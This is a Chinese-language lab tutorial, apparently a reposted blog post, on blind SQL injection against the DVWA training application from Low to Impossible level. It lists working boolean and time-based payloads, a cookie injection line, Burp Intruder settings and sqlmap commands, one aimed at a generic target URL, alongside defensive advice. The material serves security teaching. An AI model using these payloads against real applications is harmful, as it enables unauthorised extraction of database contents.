当前位置: 首页 > ai >正文

DVWA SQL Injection(Blind)漏洞分析与利用

目录

DVWA SQL Injection(Blind)漏洞分析与利用

前言

环境准备

Level: Low

漏洞分析

复现步骤

1. 基于布尔(Boolean-based)的盲注

2. 基于时间(Time-based)的盲注

防御措施

Level: Medium

漏洞分析

复现步骤

1. 布尔盲注技术

2. 使用Burp Intruder自动化测试

防御措施

Level: High

漏洞分析

复现步骤

1. Cookie注入技术

2. 使用SQLmap自动化测试

防御措施

Level: Impossible

安全措施分析

防护要点

测试验证

自动化工具使用指南

1. 使用SQLmap进行盲注

2. Burp Suite专业技巧

总结与防御矩阵

盲注类型对比

全面防御策略


前言

SQL盲注(Blind SQL Injection)是SQL注入的一种特殊形式,当应用程序易受SQL注入攻击但其HTTP响应不包含相关SQL查询结果或错误详情时发生。本文将通过DVWA平台,详细演示从低级到高级的SQL盲注攻击技术。

环境准备

  • DVWA环境:已安装配置好的DVWA

  • 测试工具:Burp Suite、浏览器、SQLmap

  • 系统环境:Windows


Level: Low

漏洞分析

低级安全级别没有任何防护措施,直接拼接用户输入到SQL查询中,且不显示查询结果,只返回"存在"或"不存在"用户。

$id = $_GET['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

复现步骤

1. 基于布尔(Boolean-based)的盲注

步骤1:确定注入点

1' AND 1=1#  → 显示"User ID exists"
1' AND 1=2#  → 显示"User ID is MISSING"

步骤2:确定数据库长度(二分法)

1' AND LENGTH(DATABASE())=4#  → 存在说明数据库名长度为4

步骤3:逐字符猜解数据库名

1' AND SUBSTRING(DATABASE(),1,1)='d'#  → 首字母为d
1' AND SUBSTRING(DATABASE(),2,1)='v'#  → 次字母为v

2. 基于时间(Time-based)的盲注

步骤1:验证时间注入可行性

1' AND SLEEP(5)#  → 页面响应延迟5秒

步骤2:时间注入获取数据

1' AND IF(SUBSTRING(DATABASE(),1,1)='d',SLEEP(5),0)#

防御措施

  • 使用预处理语句

  • 实施严格的输入验证


Level: Medium

漏洞分析

中级使用mysql_real_escape_string()转义输入,但使用数字型查询且未进行类型检查。

$id = $_POST['id'];
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

复现步骤

1. 布尔盲注技术

步骤1:确定注入类型(无需单引号)

1 AND 1=1  → 存在
1 AND 1=2  → 不存在

步骤2:获取数据库版本信息

1 AND MID(@@version,1,1)=5  → 判断MySQL版本是否为5.x

步骤2:判断数据库长度

1 AND LENGTH(DATABASE())=4   → 判断长度为4
1 AND LENGTH(DATABASE())=5

2. 使用Burp Intruder自动化测试
  1. 拦截请求发送到Intruder

  2. 设置攻击类型为"Cluster bomb"

  3. 设置payload:

    • 位置1:数据库名,字符位置(1-4)

    • 位置2:ASCII值(1-128)

1 AND ASCII(SUBSTRING(DATABASE(),§1§,1))=§2§

1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 -- 'd' // 探测第一个字符

1 AND ASCII(SUBSTRING(DATABASE(),2,1))=118 -- 'v' //探测第二个字符

1 AND ASCII(SUBSTRING(DATABASE(),3,1))= 119 -- 'w' //探测第三个字符

1 AND ASCII(SUBSTRING(DATABASE(),4,1))= 97 -- 'a' //探测第三个字符

可参照以下ASCII表,找到对应的字符

防御措施

  • 使用参数化查询

  • 强制类型转换:$id = (int)$_POST['id']


Level: High

漏洞分析

高级别使用单引号包裹输入并转义,但存在Cookie注入点。

$id = $_COOKIE['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

复现步骤

1. Cookie注入技术

步骤1:修改Cookie值

document.cookie="id=1' AND '1'='1'-- ;

步骤2:基于错误的盲注

1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))abc)#   //延时5s

2. 使用SQLmap自动化测试
  1. 保存Cookie和请求到文件

  2. 运行:

sqlmap -r request.txt --level=5 --risk=3 --technique=B --dbms=mysql --batch

防御措施

  • 过滤Cookie输入

  • 使用HttpOnly标志


Level: Impossible

安全措施分析

不可能级别采用了完善的防护措施:

$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();

防护要点

  1. 使用PDO预处理语句

  2. 参数绑定

  3. 强制类型为INT

  4. LIMIT 1限制返回结果

测试验证

尝试任何盲注技术都无法成功,输入被严格限制为数字。


自动化工具使用指南

1. 使用SQLmap进行盲注

基本命令

sqlmap -u "http://target.com/vuln.php?id=1" --technique=BEUST --batch

参数说明

  • --technique=B:布尔盲注

  • --technique=T:时间盲注

  • --dbms=mysql:指定数据库类型

  • --threads=5:多线程加速

2. Burp Suite专业技巧

  1. 使用Turbo Intruder处理大量请求

  2. 配置Grep Match规则自动标记响应差异

  3. 利用Logger++扩展记录和分析所有请求


总结与防御矩阵

盲注类型对比

类型检测方法适用场景自动化难度
布尔型对比不同逻辑的响应差异有明显真假状态区分中等
时间型测量响应时间差异无直接响应差异困难
错误型触发条件性错误可显示错误信息简单

全面防御策略

  1. 输入处理

    • 白名单验证

    • 类型强制转换

    • 参数化查询

  2. 输出处理

    • 统一错误消息

    • 限制错误详情

  3. 架构设计

    • 最小权限原则

    • WAF防护

    • 定期安全扫描

通过DVWA的全级别SQL盲注复现,我们可以看到盲注虽然比普通SQL注入更困难,但在安全措施不足的情况下仍然危险。防御盲注需要结合多种安全措施,从开发阶段就建立安全编码规范。

http://www.xdnf.cn/news/14859.html

相关文章:

  • 2025年数据挖掘与计算机科学国际会议 (DMCS 2025)
  • 数据湖技术之Iceberg-03 Iceberg整合Flink 实时写入与增量读取
  • 创意Python爱心代码
  • 7.7晚自习作业
  • 基于Java+SpringBoot的在线小说阅读平台
  • 以科技为刃,铸强国之基
  • 【Swift开发】屏蔽NSSecureCoding频繁警告
  • Chatbox➕知识库➕Mcp = 机器学习私人语音助手
  • 2025 年使用大模型进行软件工程:现实检验
  • [附源码+数据库+毕业论文]基于Spring+MyBatis+MySQL+Maven+jsp实现的高校实验室资源综合管理系统,推荐!
  • 汽车功能安全系统阶段开发【技术安全需求TSR】4
  • 算法学习笔记:8.Bellman-Ford 算法——从原理到实战,涵盖 LeetCode 与考研 408 例题
  • Python 3 -- 第一章 基础语法
  • RSTP 拓扑收敛机制
  • 牛客周赛99
  • java ThreadLocal源码分析
  • 基于Java+springboot 的车险理赔信息管理系统
  • centos7.9安装ffmpeg6.1和NASM、Yasm、x264、x265、fdk-aac、lame、opus解码器
  • CentOS-7的“ifupdown“与Debian的“ifupdown“对比 笔记250706
  • 【LeetCode 热题 100】240. 搜索二维矩阵 II——排除法
  • [netty5: WebSocketFrameEncoder WebSocketFrameDecoder]-源码解析
  • 《Spring AI实战:Java智能开发速成指南》
  • 设计模式---观察者模式(发布-订阅模式)
  • 【STM32】通用定时器PWM
  • Spring AI(12)——调用多模态模型识别和生成图像
  • 关于笔记本充电,使用氮化镓充电器
  • Omi录屏专家 Screen Recorder by Omi 屏幕录制Mac
  • 高效处理大体积Excel文件的Java技术方案解析
  • 云原生 Serverless 架构下的智能弹性伸缩与成本优化实践
  • SNAT DNAT实验